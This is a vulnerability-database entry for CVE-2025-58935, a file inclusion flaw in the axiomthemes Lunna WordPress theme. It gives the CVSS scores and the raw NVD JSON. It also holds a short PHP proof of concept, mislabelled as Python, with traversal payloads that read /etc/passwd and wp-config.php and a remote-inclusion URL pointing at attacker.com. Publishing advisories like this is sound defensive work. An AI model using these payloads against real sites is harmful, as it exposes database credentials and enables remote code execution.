Security Vulnerability Report
中文
CVE-2025-58935 CVSS 8.1 HIGH

CVE-2025-58935

Published: 2025-12-18 08:16:01
Last Modified: 2026-04-27 20:16:20

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Lunna lunna allows PHP Local File Inclusion.This issue affects Lunna: from n/a through <= 1.15.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:lunna:*:*:*:*:*:wordpress:*:* - VULNERABLE
Lunna Theme <= 1.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58935 PoC - Lunna Theme Local File Inclusion * Target: axiomthemes Lunna WordPress Theme <= 1.15 * Vulnerability: PHP Local/Remote File Inclusion * CVSS: 8.1 (High) */ // LFI - Read system file $target_url = "http://target-site.com/"; $file_param = "file"; // Common parameter name, may vary // Example 1: Local File Inclusion - Read /etc/passwd $lfi_payload = "../../../../etc/passwd"; $lfi_url = $target_url . "?" . $file_param . "=" . urlencode($lfi_payload); echo "[+] Testing LFI: " . $lfi_url . "\n"; // Example 2: Read WordPress config $wp_config_payload = "../../../../wp-config.php"; $wp_config_url = $target_url . "?" . $file_param . "=" . urlencode($wp_config_payload); echo "[+] Testing WP Config: " . $wp_config_url . "\n"; // Example 3: Remote File Inclusion (if allow_url_include enabled) $rfi_payload = "http://attacker.com/malicious.txt"; $rfi_url = $target_url . "?" . $file_param . "=" . urlencode($rfi_payload); echo "[+] Testing RFI: " . $rfi_url . "\n"; // Note: Replace 'file' with actual vulnerable parameter name // Common parameter names: file, page, template, theme, style, etc. ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58935", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:01.063", "lastModified": "2026-04-27T20:16:20.370", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Lunna lunna allows PHP Local File Inclusion.This issue affects Lunna: from n/a through <= 1.15."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:lunna:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.15", "matchCriteriaId": "5755D74B-00B0-478D-B111-797938EF99D1"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/lunna/vulnerability/wordpress-lunna-theme-1-15-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}